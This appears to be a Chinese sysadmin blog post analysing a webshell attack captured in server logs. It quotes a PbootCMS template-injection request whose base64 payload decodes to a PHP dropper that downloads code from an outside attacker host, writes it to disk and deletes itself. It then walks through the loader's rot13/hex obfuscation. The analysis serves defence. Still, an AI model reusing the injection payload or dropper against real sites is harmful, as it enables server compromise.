运维笔记:这个payload再看一眼就要爆炸!(分析某webshell)

本来想再接再厉,继续分析WEB扫描器的请求实现,但最近一周持续出现的一个奇怪请求打乱了我的步伐。因为见惯了web扫描器的指纹探测,绝大多数的奇怪请求都不能让我眼前一亮,可这次不一样!这URL里的if条件判断,base64编码,层层叠叠的大括号,已经司马昭之心了:它想要执行点什么。具体逻辑是什么还不知道,但这架势,已经有7成像个webshell了。

一、从日志片段入手

103.19.190.89 - - [04/Apr/2024:16:23:35 +0800] "GET /{pboot:if(("file_put_co"."ntents")("aasaa.php",("base6"."4_decode")("PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCdjb25maWdzLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9tYS5odGgwMS5jYy9kZC50eHQnKSk7CmVjaG8gJ2hzMTE4ODgnOwp1bmxpbmsoX19GSUxFX18pOw==")))}{/pboot:if}/../../?p=1 HTTP/1.1" 403 1229 "-" "Python-urllib/3.12"

类似的请求我最早是在4月4日观察到的,攻击者构造了从1-20的p参数,用Python-urllib(默认UA都没改)依次请求。再观察payload,可以看到{pboot:if}……{/pboot:if},这是一个闭合的if标签,里面的变量用了PHP的.连接符进行拼接。大概一看,是用file_put_contents写入一个文件,写入的内容要调用base64_decode来解码。那么移走所有的连接符,单独把if里的条件拿出来,就是下面这个东西:

file_put_contents("aasaa.php",base64_decode("PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCdjb25maWdzLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9tYS5odGgwMS5jYy9kZC50eHQnKSk7CmVjaG8gJ2hzMTE4ODgnOwp1bmxpbmsoX19GSUxFX18pOw==")

把那一串PD9waH…拿去进行base_64解码,会得到如下的代码:

<?php 
file_put_contents('configs.php',file_get_contents('http://ma.hth01.cc/dd.txt'));
echo 'hs11888';
unlink(__FILE__);

好家伙,这是file_put_contents套file_put_contents。通读一遍,攻击者在if标签内,通过file_put_contents创建名为aasaa.php的文件(file_put_contents第一个参数是文件路径,如果文件不存在会创建该文件),将经过base64解码的注入代码写入aasaa.php;在aasaa.php内,通过file_get_contents获取dd.txt的内容,将其写入configs.php内,写完后用unlink删除aasaa.php,清除痕迹(__FILE__获取的是当前文件的绝对路径,即aasaa.php的绝对路径)。

这一套骚操作算是搞明白了,接下来就进入静态分析dd.txt的环节。真身,终于要出现了吗。

二、分析解密逻辑

访问上面提到的dd.txt文件,可以看到若干个函数和一大串经过混淆的代码。因为目的是看下解密后的webshell长啥样,所以我注释掉了不影响解密的初始化设定,并给部分代码加上了注释解说(混淆的代码太长了就置空了,有兴趣可以去上述dd.txt文件的路径在线围观):

<?php
// 注释掉的地方不影响解密
// 一些初始化设定
// error_reporting(E_ERROR);
// @ini_set('display_errors','Off');
// @ini_set('max_execution_time',20000);
// @ini_set('memory_limit','256M');
// header("content-Type: text/html; charset=utf-8");
// password是MD5加密后的admin
$password = "21232f297a57a5a743894a0e4a801fc3";
class x{
	function c($s){
		$a = array($s,"asdsa","5sa4f5sd4f","/********/");
		echo $a[0].$a[3];
// mt_rand(0,0)的范围始终为0,表示始终选择的是$a[0]
		// evaL($a[mt_rand(0,0)].$a[3]);
	}
}
function s(){
// 经过混淆的webshell代码 
	$str = "";
	$str = str_rot13($str);
	m($str);
}
function m($str="D盾是个狗"){
	global $password;
	$pl = pack('H*',$str);
	$zz = new x();
	$zz->c($pl);
}
s();
?>

这里定义了两个函数一个类:其中函数s是入口函数,混淆后的代码,即变量str,在这里先经过str_rot13解码,然后再调用函数m,把解码后的str传给函数m;函数m通过pack先把str转为字符串(也就是明文脚本),再实例化名为x的类,将明文脚本传给x进行执行;最后,class x用于通过eval执行解密后的webshell。

这个webshell的代码已经被人公布到github上了,有兴趣的同学可以移步参考

三、Go Further:复现加密

这里既然知道解密方法了,那我也迫不及待地想要知道加密过程!目前已知的解密过程是,先用str_rot13进行解码,再通过pack(‘H*’,$str)转为二进制字符串,第一个参数H*指明了将十六进制字符串解析为二进制。

因为str_rot13可以同时用于编码解码,并且pack接收的参数是一个十六进制字符串,那么反向推倒可知,原始脚本代码先转为十六进制,再进行了ROT13编码,也即是:

$hexText = bin2hex($htmlText);
$rot13En = str_rot13($hexText);

在线运行示例

因为是弱加密,逻辑不难,所以很好复现。

发布者

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注